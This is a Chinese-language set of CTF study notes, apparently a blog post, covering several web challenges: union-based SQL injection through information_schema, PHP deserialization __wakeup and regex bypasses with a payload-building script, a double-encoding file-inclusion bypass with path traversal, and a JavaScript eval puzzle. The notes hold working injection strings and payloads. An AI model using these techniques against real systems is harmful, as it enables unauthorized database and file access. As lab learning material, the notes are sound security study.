今天补一下前天的笔记
NewsCenter
and 1=1
and 1=2
正常且无回显 说明存在注入
' 报错 说明为字符型注入
'# 正常且有回显 说明为单引号闭合
' order by 1# 正常且有回显
' order by 2# 正常且有回显
' order by 3# 正常且有回显
' order by 4# 报错
注入点在3,有3列
查库名
' and 1=2 union select 1,2,database()# 库名为news
查表名
' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='news'# 表名为secret_table
查列名
' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='secret_table'# 列名为fl4g,id,猜测flag应该在fl4g这一列中
查字段
' and 1=2 union select 1,2,fl4g from secret_table# 得到flag
一些常用的sql注入语句
查库select schema_name from information_schema.schemata
查表select table_name from information_schema.tables where table_schema=’’
查列 select column_name from information_schema.columns where table_name=’’
查字段 select 列名,列名from 库名.表名
limit a,b (a表示从a+1个数据库开始,b表示从查多少个)
查询各种权限的用户: select user()
select system_user()
select current_user()
查询当前数据库名称: select database()
查询数据库版本: select version()
查询数据库路径:select @@datadir
查询操作系统:select @@version_compile_os
unserialize3
首先补全源码
<?php
class xctf{ //类
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
?code=
__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测传入参数的字符串肯定要被反序列化
将上面这个补全的php脚本去运行一下会得到flag的反序列化字符串
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
考查反序列化__wakeup()函数漏洞利用:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
这时我们要对序列化字符串的结构有所认识
O:< length >:"< class name >":< n >:{< field name 1 >< field value 1 >…< field name n >< field value n >}
O:表示序列化的事对象
< length >:表示序列化的类名称长度
< class name >:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1 >:属性名
< field value 1 >:属性值
所以我们要将< n >的值改为2或以上
构造payload即可
warmup
F12查看,得到source.php于是访问得到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
//第一个if语句对变量进行检验,要求$page为字符串,否则返回false
}
if (in_array($page, $whitelist)) {
return true;
// 第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
// 第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) $_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
//打印滑稽表情
}
?>
可以得到一个提示hint.php,于是访问,得到
flag not here, and flag in ffffllllaaaagggg
突破此题的关键点:
能够通过checkFile函数校验
昨天的知识点!!!(利用二次编码绕过)
先构造未编码前的payload:
source.php?file=source.php?ffffllllaaaagggg
将其中的第二个?二次编码后payload为:
source.php?file=source.php%253fffffllllaaaagggg
测试发现没有回显,但是图片消失了,说明思路正确
至于为何没有回显,这可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置,根据以往经验,flag应该在根目录下,所以依次增加…/(进行目录穿越),最终成功拿到flag
最终的payload:
source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg
学到的新函数
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。
- 正数 - 在字符串的指定位置开始
- 负数 - 在从字符串结尾的指定位置开始
- 0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
- 正数 - 从 start 参数所在的位置返回
- 负数 - 从字符串末端返回
encoding 可选。字符编码。如果省略,则使用内部字符编码。
mb_strpos — 查找字符串在另一个字符串中首次出现的位置
Web_php_unserialize
前置补充知识点
- __construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
- __destruct():当对象被销毁时会自动调用。(析构函数)
- __wakeup():unserialize() 时会自动调用
打开页面得到
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
基本思路
由提示可知flag在fl4g.php这个页面中
据此可构造序列化字符串
base64编码后绕过正则匹配
绕过__wakeup()函数
于是我们构造一个序列化字符串,编写如下代码
class Demo {
private $file = 'fl4g.php';
}
$A= new Demo();
echo(serialize($A));
得到字符串(其中有非可打印字符,一定不能自动删去,不然base64编码后得到的结果也不对这里我踩雷了)
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
接下来看匹配规则
preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
具体正则匹配规则(寒假补习)
从字符串中我们可以找到唯一的O:4满足匹配,所以我们需要将其改为O:+4
接着就是绕过_Wakeup函数了,昨天做到了这样的题,所以就不加赘述了
最后在base64编码
完整php脚本
< ?php
class Demo {
private $file = 'fl4g.php';
}
$A=serialize(new Demo());
$A=str_replace('O:4', 'O:+4',$A);
$A=str_replace(':1:', ':3:',$A);
echo base64_encode($A);
?>
最终的payload:
?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag
NaNNaNNaNNaN-Batman
打开附件,发现是js代码
修改文件后缀名为.html
发现一个登陆框,输入什么都没有反应
开始寻找核心代码
核心代码:
eval函数,这是执行函数;这里执行了_变量中的内容也就是’‘中的内容,但是,要注意的是,它并没有执行$ ()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的$()函数源码完整显示出来,这里可以使用浏览器打开,也可以将修改后的源代码放入控制台执行(放入控制台需要注意删除script前后标签)
生僻知识点
eval()和alert()的区别
alert弹出字符串,是不会执行’'中的代码的,而eval会执行
将其修改,用浏览器打开
于是得到完整源码
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');delete _
这里考查了简单的正则匹配
构造e使得以be0f23开头以e98aa结束有233ac和c7be9
于是拼接一下就可以了
e=be0f233ac7be98aa